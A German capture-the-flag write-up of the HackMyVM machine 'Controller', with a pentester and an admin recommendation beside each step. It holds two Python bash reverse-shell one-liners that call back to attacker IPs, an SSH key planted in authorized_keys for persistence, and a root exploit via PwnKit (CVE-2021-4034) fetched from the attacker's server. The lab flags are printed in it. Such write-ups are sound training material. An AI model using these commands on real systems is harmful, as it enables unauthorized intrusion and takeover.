Controller - HackMyVM - Level: Hard - Bericht

Reconnaissance

Analyse: Der erste Schritt besteht darin, das Zielsystem im lokalen Netzwerk zu identifizieren. Die Ausgabe eines (nicht gezeigten) `netdiscover`-Scans und ein anschließender `arp-scan` werden verwendet.

Currently scanning: Finished!   |   Screen View: Unique Hosts

 7 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 420
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.2.1     c4:86:e9:a5:6d:18      3     180  HUAWEI TECHNOLOGIES CO.,LTD
 192.168.2.102   ac:6f:bb:62:87:79      1      60  TATUNG Technology Inc.
 192.168.2.104   84:25:19:2f:66:32      1      60  Samsung Electronics
 192.168.2.149   08:00:27:fb:27:5f      1      60  PCS Systemtechnik GmbH
 192.168.2.188   f0:2f:74:1a:68:c0      1      60  ASUSTek COMPUTER INC.
                    

Interface: eth0, type: EN10MB, MAC: 08:00:27:09:b6:08, IPv4: 192.168.2.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1	c4:86:e9:a5:6d:18	HUAWEI TECHNOLOGIES CO.,LTD
192.168.2.102	ac:6f:bb:62:87:79	TATUNG Technology Inc.
192.168.2.149	08:00:27:fb:27:5f	PCS Systemtechnik GmbH
192.168.2.104	84:25:19:2f:66:32	Samsung Electronics
192.168.2.188	f0:2f:74:1a:68:c0	(Unknown)
192.168.2.145	e0:aa:96:64:c9:94	Samsung Electronics Co.,Ltd
                    

Bewertung: Beide Scans identifizieren erfolgreich den Host 192.168.2.149 mit einer Oracle VirtualBox MAC-Adresse als das wahrscheinliche Ziel.

Empfehlung (Pentester): Einen detaillierten Portscan auf 192.168.2.149 durchführen.
Empfehlung (Admin): Standard-Netzwerkscans. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.

Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 22:24 CEST
Nmap scan report for controller (192.168.2.149)
Host is up (0.0017s latency).
Not shown: 65520 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: ...
80/tcp    open  http         Apache httpd 2.4.41
|_http-title: CONTROLLER – Otro sitio realizado con WordPress
|_http-generator: WordPress 5.7.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
88/tcp    open  kerberos-sec Heimdal Kerberos (server time: 2022-10-14 20:24:18Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Samba smbd 4.6.2
389/tcp   open  ldap         (Anonymous bind OK)
| ssl-cert: Subject: commonName=CONTROLLER.controller.local/organizationName=Samba Administration...
443/tcp   open  ssl/http     Apache httpd 2.4.41
|_ssl-date: TLS randomness does not represent time
|_http-title: CONTROLLER – Otro sitio realizado con WordPress
|_http-generator: WordPress 5.7.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
| tls-alpn: ...
| ssl-cert: Subject: organizationName=CONTROLLER/stateOrProvinceName=Some-State/countryName=AU... 
445/tcp   open  netbios-ssn  Samba smbd 4.6.2
464/tcp   open  kpasswd5?
636/tcp   open  ssl/ldap     (Anonymous bind OK)
| ssl-cert: Subject: commonName=CONTROLLER.controller.local/organizationName=Samba Administration...
3268/tcp  open  ldap         (Anonymous bind OK)
| ssl-cert: Subject: commonName=CONTROLLER.controller.local/organizationName=Samba Administration...
3269/tcp  open  ssl/ldap     (Anonymous bind OK)
| ssl-cert: Subject: commonName=CONTROLLER.controller.local/organizationName=Samba Administration...
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 08:00:27:FB:27:5F (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 2.6.32 (92%)...
Service Info: Host: 127.0.0.1; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: ...
|_nbstat: NetBIOS name: CONTROLLER, NetBIOS user: , NetBIOS MAC: 80:bd:00:4a:08:7f (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: 2s
                    

PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http 
88/tcp    open     kerberos-sec
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
389/tcp   open     ldap
443/tcp   open     https
445/tcp   open     microsoft-ds
464/tcp   open     kpasswd5
636/tcp   open     ldapssl
3268/tcp  open     globalcatLDAP
3269/tcp  open     globalcatLDAPssl
49152/tcp open     unknown
49153/tcp open     unknown
49154/tcp open     unknown
                    

Analyse: Ein umfassender Nmap-Scan identifiziert eine ungewöhnliche Mischung aus Diensten auf einem Linux-System (Ubuntu mit OpenSSH 8.2p1, Apache 2.4.41 mit WordPress 5.7.2):

• Standard Linux/Web: SSH (22), HTTP (80 - später als 'filtered' markiert?), HTTPS (443).
• Active Directory / Samba DC Dienste: Kerberos (88), RPC (135, dynamische Ports), NetBIOS (139, 445), LDAP (389, 3268), LDAPS (636, 3269), Kpasswd (464).

• WordPress 5.7.2 läuft auf Apache.
• LDAP erlaubt anonyme Anfragen (Anonymous bind OK).
• Samba 4.6.2 wird verwendet.
• SMB Message Signing ist aktiviert und erforderlich.
• Der Hostname scheint CONTROLLER zu sein, in einer Domäne `controller.local` (aus LDAP-Zertifikat).
• Die gefilterte Zusammenfassung listet Port 80 als 'filtered', was im Widerspruch zur Hauptausgabe steht ('open'). Dies könnte auf Firewall-Regeln oder Scan-Inkonsistenzen hindeuten.

Bewertung: Das System ist ein Linux-Server, der als Samba Active Directory Domain Controller konfiguriert ist und gleichzeitig einen WordPress-Webserver betreibt. Dies ist eine komplexe Konfiguration mit mehreren potenziellen Angriffsvektoren: WordPress-Schwachstellen, anonyme LDAP-Enumeration, SMB-Enumeration, Kerberos-Angriffe. Die SMB-Signierung erschwert einige Relay-Angriffe. Die Diskrepanz beim Port 80 Status benötigt Klärung.

Empfehlung (Pentester): 1. Den Webserver (Port 80/443) mit WordPress-spezifischen Scannern (z.B. `wpscan`) untersuchen. 2. Anonyme LDAP-Abfragen (Port 389) durchführen, um Benutzer, Gruppen und Domäneninformationen zu sammeln. 3. SMB (Port 445) mit Tools wie `enum4linux` oder `nxc` auf Shares und Benutzerinformationen prüfen (anonym und später authentifiziert). 4. Den Status von Port 80 erneut prüfen.
Empfehlung (Admin): Die Kombination von DC-Rolle und Webserver auf demselben System ist sicherheitstechnisch nicht ideal und erhöht die Angriffsfläche. Anonyme LDAP-Bindungen deaktivieren. SMB-Signierung beibehalten. Alle Dienste (Samba, Apache, WordPress, OS) aktuell halten.

Analyse (Notiz): Eine im Text gefundene Python-Codezeile für eine Reverse Shell. Es ist unklar, woher sie stammt oder ob sie hier relevant ist.

import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.2.131/4444 0>&1"')
                    

Bewertung: Wahrscheinlich eine Notiz oder ein Überbleibsel aus einem anderen Kontext. Die IP `192.168.2.131` taucht sonst nicht auf.

Empfehlung (Pentester): Vorerst ignorieren, es sei denn, es ergibt sich später ein Kontext.
Empfehlung (Admin): Nicht relevant.

Web Enumeration (WordPress & Samba)

[...]
http://192.168.2.149/index.html           (Status: 200) [Size: 10918]
http://192.168.2.149/wp-content           (Status: 301) [Size: 319] [--> http://192.168.2.149/wp-content/]
http://192.168.2.149/index.php            (Status: 301) [Size: 0] [--> http://192.168.2.149/]
http://192.168.2.149/license.txt          (Status: 200) [Size: 19915]
http://192.168.2.149/wp-includes          (Status: 301) [Size: 320] [--> http://192.168.2.149/wp-includes/]
http://192.168.2.149/wp-login.php         (Status: 200) [Size: 8305]
http://192.168.2.149/readme.html          (Status: 200) [Size: 7345]
http://192.168.2.149/wp-trackback.php     (Status: 200) [Size: 136]
http://192.168.2.149/wp-admin             (Status: 301) [Size: 317] [--> http://192.168.2.149/wp-admin/]
http://192.168.2.149/xmlrpc.php           (Status: 405) [Size: 42]
                    

Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es identifiziert typische WordPress-Pfade und Dateien wie `/wp-content`, `/wp-includes`, `/wp-admin`, `wp-login.php`, `xmlrpc.php`, `license.txt`, `readme.html`.

Bewertung: Bestätigt die WordPress-Installation und liefert Standardpfade. Keine ungewöhnlichen oder direkt ausnutzbaren Dateien gefunden.

Empfehlung (Pentester): `wpscan` verwenden, um nach spezifischen WordPress-Schwachstellen (Version, Plugins, Themes, Benutzer) zu suchen. `xmlrpc.php` auf Brute-Force-Anfälligkeit prüfen.
Empfehlung (Admin): WordPress und alle Komponenten aktuell halten. `xmlrpc.php` deaktivieren, wenn nicht benötigt.

=========================================( Target Information )=========================================
[...]
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]

	Sharename       Type      Comment
	---------       ----      -------
	sysvol          Disk
	netlogon        Disk
	tester          Disk      
	IPC$            IPC       IPC Service (Samba 4.11.6-Ubuntu)

[...]
[E] Can't understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \* //192.168.2.149/IPC$
[...]
[+] Found domain(s):

	[+] CONTROL
	[+] BUILTIN
[...]
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.
[...]
                    

Analyse: `enum4linux` wird verwendet, um Informationen über SMB und NetBIOS zu sammeln. Es findet Standardbenutzer (Administrator, Guest, krbtgt), Standard-Shares (`sysvol`, `netlogon`, `IPC$`) sowie einen benutzerdefinierten Share namens `tester`. Es identifiziert die Domäne `CONTROL`. RID-Cycling zum Enumerieren weiterer Benutzer scheitert wegen fehlender Berechtigungen.

Bewertung: Bestätigt die Samba/AD-Konfiguration. Der Share `tester` ist besonders interessant, da er nicht standardmäßig ist. Das Scheitern des RID-Cyclings ist normal bei Standardkonfigurationen.

Empfehlung (Pentester): Versuchen, sich anonym mit dem `tester`-Share zu verbinden und dessen Inhalt zu untersuchen.
Empfehlung (Admin): Anonymen Zugriff auf Shares einschränken. Unnötige Shares entfernen.

Analyse: Es wird versucht, sich mit `smbclient` anonym (-U %) mit dem zuvor entdeckten Share `tester` zu verbinden.

Bewertung: Der Erfolg dieser Verbindung wird im nächsten Schritt (Upload) bestätigt. Dies ist eine **kritische Schwachstelle**, da ein anonymer Benutzer auf einen Share zugreifen kann.

Empfehlung (Pentester): Den Inhalt des Shares auflisten und prüfen, ob Dateien hochgeladen werden können.
Empfehlung (Admin): Anonymen Zugriff auf alle SMB-Shares deaktivieren.

http://controller.hmv/wp-login.php

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2022 20:37:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Link: 192.168.0.25/index.php/wp-json/>; rel="https://api.w.org/"
Content-Type: text/html; charset=UTF-8
                    

HTTP/1.1 302 Found
Date: Fri, 14 Oct 2022 20:39:48 GMT
Server: Apache/2.4.41 (Ubuntu)
[...]
Location: http://192.168.0.25/wp-login.php?redirect_to=http%3A%2F%2Fcontroller.hmv%2Fwp-admin%2F&reauth=1
Content-Type: text/html; charset=UTF-8
                    

Analyse: Es werden HEAD-Anfragen (`curl -I`) an die WordPress-Startseite und den Admin-Bereich gesendet. Auffällig ist, dass die Header (`Link`, `Location`) eine interne IP-Adresse (`192.168.0.25`) preisgeben, die vom gescannten Netzwerksegment (`192.168.2.x`) abweicht.

Bewertung: Dies deutet auf eine mögliche Fehlkonfiguration von WordPress oder des Reverse Proxys hin (Information Leakage). Die IP `192.168.0.25` könnte ein internes Backend oder ein anderer Server sein.

Empfehlung (Pentester): Diese IP notieren. Prüfen, ob sie aus dem aktuellen Netzwerk erreichbar ist. Die WordPress-Konfiguration (Site URL, Home URL) genauer untersuchen.
Empfehlung (Admin): Die WordPress-URL-Einstellungen (`WP_HOME`, `WP_SITEURL` in `wp-config.php` oder in den DB-Optionen) überprüfen und sicherstellen, dass sie auf die öffentliche URL/IP verweisen, um das Leaken interner Adressen zu verhindern.

[...]
Interesting Finding(s):
[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
[+] WordPress readme found: http://controller.hmv/wp-login.php/readme.html
[+] This site seems to be a multisite
[+] The external WP-Cron seems to be enabled: http://controller.hmv/wp-login.php/wp-cron.php
[...]
[i] The WordPress version could not be detected.
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <========================================> (10 / 10) 100.00% Time: 00:00:00
[i] No Users Found.
[...]
                    

Analyse: `wpscan` wird zur Enumeration von Benutzern (`-e u`) auf der WordPress-Seite verwendet. Es findet Standardinformationen (Multisite, readme, wp-cron), kann aber die Version nicht genau bestimmen und findet keine Benutzer über die Standardmethoden (Author-ID-Scan).

Bewertung: Der Scan liefert keine direkten Benutzernamen oder verwertbaren Schwachstellen. Das Scheitern der Benutzerenumeration könnte auf Sicherheitsmaßnahmen oder eine ungewöhnliche Konfiguration zurückzuführen sein.

Empfehlung (Pentester): Andere Methoden zur Benutzerfindung (LDAP, SMB) weiterverfolgen. Manuell nach Hinweisen in Kommentaren oder Beiträgen suchen.
Empfehlung (Admin): Benutzerenumeration in WordPress erschweren (z.B. durch Plugins oder Konfiguration).

[...]
+ Server: Apache/2.4.41 (Ubuntu)
+ RFC-1918 IP address found in the 'link' header. The IP is "192.168.0.25".
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: ; rel="https://api.w.org/"
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
[...]
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
[...]
                    

http://controller.hmv//wp-content/uploads/

Analyse: Ein erneuter Nikto-Scan bestätigt frühere Funde und hebt hervor:

• Erneute Sichtbarkeit der internen IP `192.168.0.25`.
• Fehlender `X-XSS-Protection`-Header.
• Fehlendes `HttpOnly`-Flag für den `wordpress_test_cookie`.
• **Wichtig:** Das Verzeichnis `/wp-content/uploads/` ist browsbar (Directory Indexing).

Bewertung: Das browsbare Upload-Verzeichnis ist ein potenzielles Informationsleck. Fehlende Cookie-Flags und Header erhöhen das Risiko bei anderen Schwachstellen (z.B. XSS). Die interne IP bleibt ein interessanter Punkt.

Empfehlung (Pentester): Das Verzeichnis `/wp-content/uploads/` manuell untersuchen. Nach interessanten oder versehentlich hochgeladenen Dateien suchen.
Empfehlung (Admin): Directory Indexing für das Uploads-Verzeichnis deaktivieren. HttpOnly-Flag für Cookies setzen. Interne IP-Leaks beheben.

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2022 20:50:43 GMT
Server: Apache/2.4.41 (Ubuntu)
[...]
X-Pingback: http://192.168.0.25/xmlrpc.php
Link: 192.168.0.25/index.php/wp-json/>; rel="https://api.w.org/"
Link: 192.168.0.25/index.php/wp-json/wp/v2/posts/1>; rel="alternate"; type="application/json"
Link: 192.168.0.25/?p=1>; rel=shortlink
Content-Type: text/html; charset=UTF-8
                    

Analyse: Eine HEAD-Anfrage an einen Beispiel-WordPress-Beitrag ("hola-mundo") zeigt erneut die interne IP `192.168.0.25` in verschiedenen Link- und Pingback-Headern.

Bewertung: Bestätigt das konsistente Leaking der internen IP durch WordPress.

Empfehlung (Pentester): Siehe vorherige Empfehlung zum IP-Leak.
Empfehlung (Admin): WordPress-URL-Einstellungen korrigieren.

Initial Access (tester via SMB)

Analyse: Basierend auf dem Fund des anonym zugänglichen SMB-Shares `tester` wird nun versucht, eine Reverse Shell darüber zu erlangen. Es wird eine Python-Payload erstellt, die eine Bash-Reverse-Shell zur Angreifer-IP (`192.168.2.140`) auf Port `5555` aufbaut.

import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.2.140/5555 0>&1"')
                    

Analyse: Eine Datei `test.txt` wird mit einem Python-Einzeiler erstellt. Dieser nutzt das veraltete `commands`-Modul (Python 2), um eine interaktive Bash-Reverse-Shell zu starten.

Bewertung: Die Payload ist vorbereitet, um auf das Zielsystem hochgeladen zu werden.

Empfehlung (Pentester): Die Datei `test.txt` auf den `tester`-Share hochladen.
Empfehlung (Admin): Veraltete Python-Versionen/Module vermeiden.

Password for [WORKGROUP\root]: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jun 27 19:38:00 2021
  ..                                  D        0  Sun Jun 27 19:38:00 2021

		20511312 blocks of size 1024. 10788732 blocks available
smb: \> put test.txt
putting file test.txt as \test.txt (99,6 kb/s) (average 99,6 kb/s)
smb: \>
                    

Analyse: Die Verbindung zum `tester`-Share via `smbclient` als anonymer Benutzer gelingt. Die vorbereitete Payload-Datei `test.txt` wird erfolgreich auf den Share hochgeladen.

Bewertung: Der kritische Schritt. Die Payload ist nun auf dem Zielsystem in einem potenziell unsicheren Verzeichnis. Es wird angenommen, dass ein Mechanismus (Cronjob, Dienst, anderer Benutzer) diese Datei ausführt.

Empfehlung (Pentester): Einen Listener starten und auf die eingehende Reverse Shell warten.
Empfehlung (Admin): Anonymen Schreibzugriff auf Shares verhindern. Verzeichnisse überwachen, in die geschrieben werden kann.

listening on [any] 5555 ...

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
                 Automatisch nach 10 sekunden connection...
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

connect to [192.168.2.140] from (UNKNOWN) [192.168.2.149] 41556
bash: cannot set terminal process group (68120): Inappropriate ioctl for device
bash: no job control in this shell
tester@controller:~$
                    

Analyse: Ein Netcat-Listener wird auf Port 5555 gestartet. Nach kurzer Zeit kommt eine Verbindung vom Zielsystem (`192.168.2.149`) herein. Der Prompt `tester@controller:~$` zeigt, dass die Shell als Benutzer `tester` läuft.

Bewertung: Erfolg! Der Upload der Python-Payload auf den anonymen SMB-Share führte zur Ausführung des Codes und somit zum initialen Zugriff als Benutzer `tester`. Der Mechanismus, der die Ausführung auslöst, bleibt unklar, aber das Ergebnis ist erreicht.

Empfehlung (Pentester): Die Shell stabilisieren, die Umgebung als `tester` untersuchen und den User-Flag suchen.
Empfehlung (Admin): Den Mechanismus finden und beheben, der die Ausführung von Dateien aus dem `tester`-Share ermöglicht. Den Share absichern.

ls /home
server
tester
webservices
                    

ls /home/webservices/
user.txt
                    

cat /home/webservices/user.txt
K1ng0F3V4S10n
                    

Analyse: Als Benutzer `tester` wird das `/home`-Verzeichnis aufgelistet. Es gibt die Benutzer `server`, `tester` und `webservices`. Im Verzeichnis `/home/webservices` wird die Datei `user.txt` gefunden und ihr Inhalt ausgelesen.

Bewertung: Der User-Flag wurde erfolgreich gefunden.

Empfehlung (Pentester): User-Flag dokumentieren. Mit der Privilegieneskalation zu `root` fortfahren.
Empfehlung (Admin): Berechtigungen von Home-Verzeichnissen überprüfen.

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.2 LTS"
[...]
                    

PermitRootLogin yes
#PermitEmptyPasswords no
# the setting of "PermitRootLogin without-password".
#PermitTTY yes
#PermitUserEnvironment no
#PermitTunnel no
#	PermitTTY no
                    

Analyse: Das Betriebssystem wird als Ubuntu 20.04.2 LTS identifiziert. Die SSH-Konfiguration wird überprüft und zeigt, dass Root-Login (`PermitRootLogin yes`) erlaubt ist.

Bewertung: Die OS-Version ist wichtig für die Exploit-Suche. Die Erlaubnis zum Root-Login ist eine potenzielle Schwachstelle, falls das Root-Passwort schwach ist oder anderweitig erlangt werden kann.

Empfehlung (Pentester): Einen SSH-Schlüssel für `tester` einrichten, um stabilen Zugriff zu haben. Nach Möglichkeiten zur Privilegieneskalation suchen.
Empfehlung (Admin): Root-Login über SSH sollte idealerweise deaktiviert werden (`PermitRootLogin prohibit-password` oder `no`).

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6iwCfkt5ps5VHhY13FbW1JQh/iNT/vp+xSDB2+bKqnBIO0mFxzD7RFsuRtFyDQuHB4c2q06kSBF/yIaP4PQGW8tEY634DkXFI0Q7h4ll4LCL/rtwvx1CxLqxP+94iPqOXFjdRDquet50njrlslRGLSp+ptQzq23dH9s75gTJOW/KDAcCiuY2noN7WHabsz0XbR3z40NFGCezeYDzYbSnbPtMx5HSAlT/sB3chZWgltVwy96zJ81Vvwd41fsugeMIFxK0+BLxynPGKHBBOd84f11T5OF+Zhw9gMoHhCeAcHjYZ4Wpp3pydZYREPRM5Un+MqxFnEpo7GctIIvi6OYFCjSFUn3ih0udX4q+TeCID4oXrAfgu8YWWvM+w4vF5NedEisAJ2yPoraEyJr//HphqgrpWZnuTx4sHcocJNjPscTdvubuicXr0fqbVtpFWoXj5EzdpdbQA52cMBumJy/IEH5gt2n5gLcIW/zaagH4GyhA5JvMZNgGaULOP1BfCMos=
                    

authorized_keys
                    

Analyse: Der öffentliche SSH-Schlüssel des Angreifers wird in die Datei `/home/tester/.ssh/authorized_keys` auf dem Zielsystem geschrieben. Die Berechtigungen der Datei werden korrekt auf `600` gesetzt.

Bewertung: Dies ermöglicht dem Angreifer nun, sich per SSH als Benutzer `tester` mit seinem privaten Schlüssel anzumelden, was stabiler als die Netcat-Shell ist.

Empfehlung (Pentester): Eine neue SSH-Verbindung als `tester` aufbauen.
Empfehlung (Admin): Änderungen an `authorized_keys`-Dateien überwachen.

Privilege Escalation (tester -> root via PwnKit)

The authenticity of host 'controller.hmv (192.168.2.149)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben)

$ id
uid=1001(tester) gid=1001(tester) groups=1001(tester)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tester@controller:~$
                    

Analyse: Eine SSH-Verbindung als `tester` wird erfolgreich unter Verwendung des zuvor eingerichteten Schlüssels aufgebaut. Eine PTY-Shell wird für bessere Interaktivität gestartet.

Bewertung: Stabiler Zugriff als `tester` wurde etabliert.

Empfehlung (Pentester): Nach lokalen Privilegieneskalations-Vektoren suchen.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

[...]
/snap/core18/2074/usr/bin/sudo
/snap/core18/2566/usr/bin/sudo
/snap/snapd/17029/usr/lib/snapd/snap-confine
/snap/core20/1623/usr/bin/sudo
/usr/sbin/sensible-mda
/usr/bin/at
/usr/bin/procmail
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/ksu
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
                    

Analyse: Erneute Suche nach SUID-Binaries. Die Liste enthält viele Standard-Binaries und solche unter `/snap/`. Besonders interessant ist `/usr/bin/pkexec`.

Bewertung: `pkexec` ist bekannt für die Schwachstelle CVE-2021-4034 (PwnKit). Da das System Ubuntu 20.04.2 LTS ist und der Scan von 2022 stammt, ist es sehr wahrscheinlich, dass es anfällig ist, wenn es nicht speziell gepatcht wurde.

Empfehlung (Pentester): Einen PwnKit-Exploit auf das Zielsystem übertragen und ausführen.
Empfehlung (Admin): System patchen, um CVE-2021-4034 zu beheben.

Proof of Concept: Privilege Escalation via PwnKit (CVE-2021-4034)
Die folgende Sequenz demonstriert die Ausnutzung der PwnKit-Schwachstelle in `pkexec`, um Root-Rechte zu erlangen.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
                    

--2022-10-14 21:08:46--  http://192.168.2.140/PwnKit
Connecting to 192.168.2.140:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘PwnKit’

PwnKit              100%[===================>]  17.62K  --.-KB/s    in 0s

2022-10-14 21:08:46 (87.6 MB/s) - ‘PwnKit’ saved [18040/18040]
                    

192.168.2.149 - - [14/Oct/2022 23:08:45] "GET /PwnKit HTTP/1.1" 200 -
                    

root@controller:/home/tester#
                    

Analyse: Ein bekannter PwnKit-Exploit wird von GitHub heruntergeladen, per HTTP-Server bereitgestellt und auf das Zielsystem (als `tester`) heruntergeladen. Der Exploit wird ausführbar gemacht und ausgeführt. Das Ergebnis ist eine Root-Shell (`root@controller`).

Bewertung: Erfolg! Die PwnKit-Schwachstelle wurde erfolgreich ausgenutzt, um volle Root-Rechte auf dem System zu erlangen.

Empfehlung (Pentester): Root-Flag suchen.
Empfehlung (Admin): System dringend patchen, um CVE-2021-4034 zu beheben. Überprüfen, ob der Angreifer Persistenzmechanismen eingerichtet hat.

Flags

DpKg1sB3tt3rTh4nPyth0n?

Analyse: Als Root-Benutzer wird die Datei `/root/root.txt` direkt ausgelesen.

Bewertung: Der Root-Flag wurde erfolgreich extrahiert.

Empfehlung (Pentester): Bericht abschließen.
Empfehlung (Admin): Keine Maßnahmen bzgl. des Flags.